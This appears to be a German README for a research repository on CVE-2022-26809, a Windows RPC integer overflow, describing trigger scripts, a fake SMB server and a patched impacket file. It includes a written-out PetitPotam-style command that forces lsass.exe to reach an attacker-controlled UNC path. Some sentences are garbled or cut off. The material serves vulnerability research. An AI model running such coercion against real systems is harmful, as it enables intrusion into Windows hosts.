
Proof-of-Concept-Exploit für CVE-2022-26809, eine Integer-Overflow-Schwachstelle in der Windows-RPC-Laufzeitumgebung. Enthält Trigger-Skripte, die eine PetitPotam-artige UNC-Pfad-Erzwingung gegen lsass.exe verwenden, sowie einen Fake-SMB-Server für Exploitation-Tests.
Dieses Repository ist lediglich eine Untersuchung zu dieser CVE. Für eine detailliertere Analyse siehe hier.
AKTUALISIERUNG:05/19 2022
Diese Analyse ist noch nicht abgeschlossen....
AKTUALISIERUNG:05/22 2022
HuanGMz Beitrag und Corelight-Blog zeigen den eigentlichen verwundbaren Punkt:
OSF_CASSOCIATION::ProcessBindAckOrNak
Diese Schwachstelle wird ähnlich wie CVE-2021-43893 ausgelöst, wenn die ESFRPC-Anfrage mit UNC-Pfad an lsass.exe gesendet wird: Das Opfer versucht, auf das Ziel als Client zuzugreifen, wodurch ein Integer-Überlauf in der Client-API ausgelöst wird.
Wenn du eine bessere Lösung hast, um diese Schwachstelle auszulösen, kannst du gerne ein Issue oder einen PR einreichen :)
Da die Schwachstelle ähnlich wie CVE-2021-43893 ausgelöst wird, klone einfach den -Code.
Bereite die Umgebung einfach genau so vor:
fake_smb_server.py auf dem Angreifer-Server aus, nachdem du die rpcrt.py durch die Originalversion ersetzt hast(**Weil Port 445 unter Windows vom System belegt ist, wird empfohlen, den Dienst unter Linux bereitzustellen **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Allerdings habe ich es nicht geschafft, einen BSoD auszulösen, aber laut windbg wurde der Integer-Überlauf ausgelöst)Alte Beschreibung
Hier ist der Reproduktionscode für die Windows-RPC-Schwachstelle CVE-2022-26809, und er verweist auf https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Meine Python-Version ist 3.6.7
Ich bin mir nicht sicher, ob GetCoalescedBuffer etwas mit der echten CVE-2022-26809 zu tun hat, behalte es einfach.
Die poc.py versucht nur, die verwundbare FunktionOSF_SCALL::GetCoalescedBuffer auszulösen; sie würde keinen Absturz verursachen, da ein DWORD-Integer-Überlauf zu schwer zu reproduzieren ist. Und die rpcrt.py ist das Python-Paket impacket.dcerpc.v5.rpcrt, ersetze sie einfach durch das Original, um die Schwachstelle auszulösen(Denk daran, das Original zu sichern :) Ich glaube, die rpcrt.py hat eine Menge Fehler).
Wenn es nicht funktioniert, kann wireshark vielleicht helfen, den Fehler zu finden.
Falls nötig, verwende einfach nmake, um es neu zu erstellen.